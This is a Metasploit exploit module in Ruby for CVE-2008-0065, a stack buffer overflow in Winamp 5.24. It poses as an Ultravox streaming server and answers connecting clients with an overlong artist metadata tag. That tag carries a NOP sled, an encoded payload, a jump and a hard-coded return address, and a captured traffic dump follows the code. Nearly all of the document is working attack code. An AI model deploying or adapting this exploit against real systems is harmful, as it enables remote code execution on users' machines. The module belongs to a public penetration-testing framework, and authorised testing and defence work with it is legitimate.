##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Winamp 5.24. By
          sending an overly long artist tag, a remote attacker may
          be able to execute arbitrary code. This vulnerability can be
          exploited from the browser or the Winamp client itself.
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2008-0065' ],
          [ 'OSVDB', '41707' ],
          [ 'BID', '27344' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 700,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Winamp 5.24', { 'Ret' => 0x15010d3e } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2008-01-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The HTTP daemon port to listen on.", 8080 ])
      ]
    )
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    res = client.get_once

    content = "\x00\x01\x00\x01\x00\x01" + "<metadata><song><artist>"
    content << make_nops(3828 - payload.encoded.length) + payload.encoded
    content << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
    content << [0xe8, -850].pack('CV') + rand_text_alpha_upper(1183)
    content << "</artist></song></metadata>"

    sploit = "\x5a\x00\x39\x01" + [content.length].pack('n')
    sploit << content + "\x00"

    # randomize some stuff.
    num = rand(65535).to_s

    header = "HTTP/1.0 200 OK\r\n"
    header << "Server: Ultravox 3.0\r\n"
    header << "Content-Type: misc/ultravox\r\n"
    header << "Ultravox-SID: #{num}\r\n"
    header << "Ultravox-Avg-Bitrate: #{num}\r\n"
    header << "Ultravox-Max-Bitrate: #{num}\r\n"
    header << "Ultravox-Max-Msg: #{num}\r\n"
    header << "Ultravox-Stream-Info: Ultravox;Live Stream\r\n"
    header << "Ultravox-Msg-Que: #{num}\r\n"
    header << "Ultravox-Max-Fragments: 1\r\n\r\n"
    header << sploit

    print_status("Sending #{header.length} bytes")

    client.put(header)
    handler(client)

    service.close_client(client)
  end
end

=begin
HTTP/1.0 200
.Server: Ultravo
x 3.0..Content-T
ype: misc/ultrav
ox..Ultravox-SID
: 22221..Ultravo
x-Avg-Bitrate: 6
4000..Ultravox-M
ax-Bitrate: 9600
0..Ultravox-Max-
Msg: 16000..Ultr
avox-Stream-Info
: Ultravox;Live
Stream..Ultravox
-Msg-Que: 39..Ul
travox-Max-Fragm

Z.9..,......<met
adata><length>0<
/length><soon>Mo
re on
</soon><song><na
me>The Night
ghts In
tin</name><album
>Days Of
Passed</album><a
rtist>The Moody
Blues</artist><a
lbum_art>xm/stat
ion_logo_WBCRHT.
jpg</album_art><
album_art_200>xm
/station_logo_WB
CRHT_200.jpg</al
bum_art_200><ser
ial>-1</serial><
song_id>-1</song
_id><amg_song_id
>-1</amg_song_id
><amg_artist_id>
-1</amg_artist_i
d><amg_album_id>
-1</amg_album_id
><itunes_song_id
>-1</itunes_song
_id><itunes_arti
st_id>-1</itunes
_artist_id><itun
es_album_id>-1</
itunes_album_id>
</song></metadat
a>.Z.......\./!.
!.UP.......B...&
Z....D)ydB.,.vy/
=end
